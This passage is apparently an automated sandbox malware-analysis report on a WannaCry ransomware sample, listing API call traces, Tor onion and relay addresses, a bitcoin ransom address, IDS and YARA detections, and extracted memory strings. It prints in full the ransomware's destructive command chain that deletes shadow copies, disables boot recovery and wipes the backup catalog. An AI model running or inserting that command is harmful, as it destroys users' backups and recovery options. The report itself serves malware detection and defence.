                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,19_2_004026B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,22_2_004080C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,22_2_00403CB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,22_2_004026B0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D4843C FindFirstFileA,free,strcmp,strcmp,FindNextFileA,GetLastError,free,FindClose,free,__stack_chk_fail,23_2_00D4843C
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD9359.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD9358.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\ARM\~SD9356.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\~SD9355.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\~SD9354.tmpJump to behavior
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\Temp\~SD9357.tmpJump to behavior

                  Networking

                  barindex
                  Found Tor onion address
                  Source: @WanaDecryptor@.exe, 00000013.00000002.6583910713.0000000000198000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2678761160.0000000000BA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
                  Source: @WanaDecryptor@.exe, 00000016.00000002.2677869962.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6583876538.000000000019A000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: C115p7UMMngoj1pMvkpHijcRdfJNXj6LrLngx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
                  Source: global trafficTCP traffic: 192.168.11.20:49716 -> 128.31.0.39:9101
                  Source: global trafficTCP traffic: 192.168.11.20:49718 -> 37.187.22.87:9001
                  Source: Joe Sandbox ViewIP Address: 198.50.191.95 198.50.191.95
                  Source: Joe Sandbox ViewIP Address: 178.33.183.251 178.33.183.251
                  Source: Joe Sandbox ViewIP Address: 131.188.40.189 131.188.40.189
                  Source: Joe Sandbox ViewIP Address: 131.188.40.189 131.188.40.189
                  Source: Joe Sandbox ViewJA3 fingerprint: e7d705a3286e19ea42f587b344ee6865
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49727 -> 31.31.78.49:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49720 -> 131.188.40.189:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49717 -> 198.50.191.95:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49735 -> 188.245.236.60:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49733 -> 171.25.193.9:80
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49715 -> 178.33.183.251:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49729 -> 86.59.21.38:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49728 -> 154.35.175.225:443
                  Source: Network trafficSuricata IDS: 2028377 - Severity 3 - ET JA3 Hash - Possible Malware - Malspam : 192.168.11.20:49719 -> 217.12.199.208:443
                  Source: unknownTCP traffic detected without corresponding DNS query: 178.33.183.251
                  Source: unknownTCP traffic detected without corresponding DNS query: 178.33.183.251
                  Source: unknownTCP traffic detected without corresponding DNS query: 128.31.0.39
                  Source: unknownTCP traffic detected without corresponding DNS query: 178.33.183.251
                  Source: unknownTCP traffic detected without corresponding DNS query: 128.31.0.39
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 128.31.0.39
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 128.31.0.39
                  Source: unknownTCP traffic detected without corresponding DNS query: 128.31.0.39
                  Source: unknownTCP traffic detected without corresponding DNS query: 37.187.22.87
                  Source: unknownTCP traffic detected without corresponding DNS query: 37.187.22.87
                  Source: unknownTCP traffic detected without corresponding DNS query: 37.187.22.87
                  Source: unknownTCP traffic detected without corresponding DNS query: 37.187.22.87
                  Source: unknownTCP traffic detected without corresponding DNS query: 37.187.22.87
                  Source: unknownTCP traffic detected without corresponding DNS query: 217.12.199.208
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 217.12.199.208
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 217.12.199.208
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 198.50.191.95
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: unknownTCP traffic detected without corresponding DNS query: 131.188.40.189
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040DB80 recv,19_2_0040DB80
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: www.google.com,www.mit.edu,www.yahoo.com,www.slashdot.org equals www.yahoo.com (Yahoo)
                  Source: taskhsvc.exe, 00000017.00000002.6588807769.0000000003720000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)
                  Source: taskhsvc.exe, 00000017.00000002.6588807769.0000000003720000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.yahoo.com2 equals www.yahoo.com (Yahoo)
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://freehaven.net/anonbib/#hs-attack06
                  Source: @WanaDecryptor@.exe, @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.6584313438.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000002.3056928500.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000002.3358174896.0000000000421000.00000004.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s
                  Source: n397UdH3b5.exe, 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, n397UdH3b5.exe, 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.6584313438.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000002.3056928500.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000002.3358174896.0000000000421000.00000004.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6585427963.0000000000B20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.btcfrog.com/qr/bitcoinPNG.php?address=115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
                  Source: taskhsvc.exe, 00000017.00000002.6595398459.000000006C66A000.00000008.00000001.01000000.0000000F.sdmp, taskhsvc.exe, 00000017.00000002.6596391735.000000006C6FC000.00000008.00000001.01000000.0000000E.sdmpString found in binary or memory: http://www.openssl.org/V
                  Source: taskhsvc.exe, 00000017.00000002.6595023378.000000006C5ED000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: http://www.openssl.org/support/faq.html
                  Source: taskhsvc.exe, 00000017.00000002.6595023378.000000006C5ED000.00000002.00000001.01000000.0000000F.sdmpString found in binary or memory: http://www.openssl.org/support/faq.htmlRAND
                  Source: @WanaDecryptor@.exe, 00000013.00000003.2593969132.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000013.00000003.2594176456.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6598753872.000000006F600000.00000008.00000001.01000000.0000000D.sdmpString found in binary or memory: http://www.zlib.net/D
                  Source: @WanaDecryptor@.exe, 00000013.00000003.2594309652.00000000028BF000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relay
                  Source: @WanaDecryptor@.exe, 00000013.00000003.2594309652.00000000028BF000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://blog.torproject.org/blog/lifecycle-of-a-new-relayError
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6583876538.000000000019A000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
                  Source: @WanaDecryptor@.exe, 00000013.00000002.6583910713.0000000000198000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2677869962.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$
                  Source: @WanaDecryptor@.exe, 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpString found in binary or memory: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip(B
                  Source: taskhsvc.exe, 00000017.00000003.4680309516.0000000001844000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4676163483.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4661899921.0000000001908000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4666038553.000000000406D000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4662280725.000000000392C000.00000004.00000800.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6588807769.0000000003720000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4677819237.00000000016A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sabotage.net
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://trac.torproject.org/8742
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS
                  Source: @WanaDecryptor@.exe, 0000001F.00000002.6585427963.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000002.3056928500.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000002.3358174896.0000000000421000.00000004.00000001.01000000.00000008.sdmpString found in binary or memory: https://www.google.com/search?q=how
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.torproject.org/
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.torproject.org/docs/faq.html#BestOSForRelay
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.torproject.org/documentation.html
                  Source: taskhsvc.exe, 00000017.00000002.6587573891.00000000013F9000.00000004.00000010.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.torproject.org/download/download#warning
                  Source: taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.torproject.org/download/download#warningalphabetaThis
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
                  Source: unknownHTTPS traffic detected: 198.50.191.95:443 -> 192.168.11.20:49717 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 131.188.40.189:443 -> 192.168.11.20:49720 version: TLS 1.2
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00407C30 OpenClipboard,GlobalAlloc,CloseClipboard,EmptyClipboard,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,19_2_00407C30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00407C30 OpenClipboard,GlobalAlloc,CloseClipboard,EmptyClipboard,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,19_2_00407C30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004035A0 SendMessageA,SendMessageA,OpenClipboard,SendMessageA,#3301,#924,#800,#800,SendMessageA,GlobalAlloc,GlobalLock,GlobalFree,SendMessageA,#3301,#924,#800,MultiByteToWideChar,wcslen,wcslen,#800,SendMessageA,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,19_2_004035A0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00407C30 OpenClipboard,GlobalAlloc,CloseClipboard,EmptyClipboard,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,22_2_00407C30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004035A0 SendMessageA,SendMessageA,OpenClipboard,SendMessageA,#3301,#924,#800,#800,SendMessageA,GlobalAlloc,GlobalLock,GlobalFree,SendMessageA,#3301,#924,#800,MultiByteToWideChar,wcslen,wcslen,#800,SendMessageA,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,22_2_004035A0

                  Spam, unwanted Advertisements and Ransom Demands

                  barindex
                  Detected Wannacry Ransomware
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: CreateFileW,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,CloseHandle,CreateFileW,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,WriteFile,SetFilePointer,SetEndOfFile,CreateFileW,ReadFile,WriteFile,_local_unwind2,SetFilePointerEx,SetEndOfFile,SetFileTime,CloseHandle,MoveFileW,_local_unwind2, WANACRY!19_2_004020A0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: CreateFileW,GetFileTime,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,CloseHandle,CreateFileW,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,WriteFile,SetFilePointer,SetEndOfFile,CreateFileW,ReadFile,WriteFile,_local_unwind2,SetFilePointerEx,SetEndOfFile,SetFileTime,CloseHandle,MoveFileW,_local_unwind2, WANACRY!22_2_004020A0
                  Yara detected Conti ransomware
                  Source: Yara matchFile source: Process Memory Space: @WanaDecryptor@.exe PID: 6588, type: MEMORYSTR
                  Yara detected Wannacry ransomware
                  Source: Yara matchFile source: 37.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 19.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 19.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 40.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 22.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 40.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 31.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 37.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 22.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 31.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000028.00000002.3358141473.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000003.2572869282.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000003.2574942997.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000025.00000002.3056893573.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001F.00000002.6584228178.000000000041F000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: n397UdH3b5.exe PID: 5892, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: @WanaDecryptor@.exe PID: 6588, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: @WanaDecryptor@.exe PID: 2120, type: MEMORYSTR
                  Source: Yara matchFile source: C:\Users\user\Desktop\u.wnry, type: DROPPED
                  Source: Yara matchFile source: C:\@WanaDecryptor@.exe, type: DROPPED
                  Contains functionalty to change the wallpaper
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00407E80 SHGetFolderPathW,wcslen,swprintf,MultiByteToWideChar,CopyFileW,SystemParametersInfoW,19_2_00407E80
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00407E80 SHGetFolderPathW,wcslen,swprintf,MultiByteToWideChar,CopyFileW,SystemParametersInfoW,22_2_00407E80
                  Deletes shadow drive data (may be related to ransomware)
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: n397UdH3b5.exe, 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                  Source: n397UdH3b5.exe, 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietvscofi13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94Englishm_%s.wnrymsg\<https://<http://%d/%d/%d %02d:%02d:%02d00;00;00;00http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how+to+buy+bitcoinhttps://en.wikipedia.org/wiki/BitcoinSend %.1f BTC to this address:%.1f BTCSend $%d worth of bitcoin to this address:$%d%02d;%02d;%02d;%02d***b.wnry+++---%s%s%d%I64d%dFailed to send your message!
                  Source: n397UdH3b5.exe, 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet &
                  Source: n397UdH3b5.exe, 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A%s %scmd.exe/c vssadmin delete shadows /all /quiet &
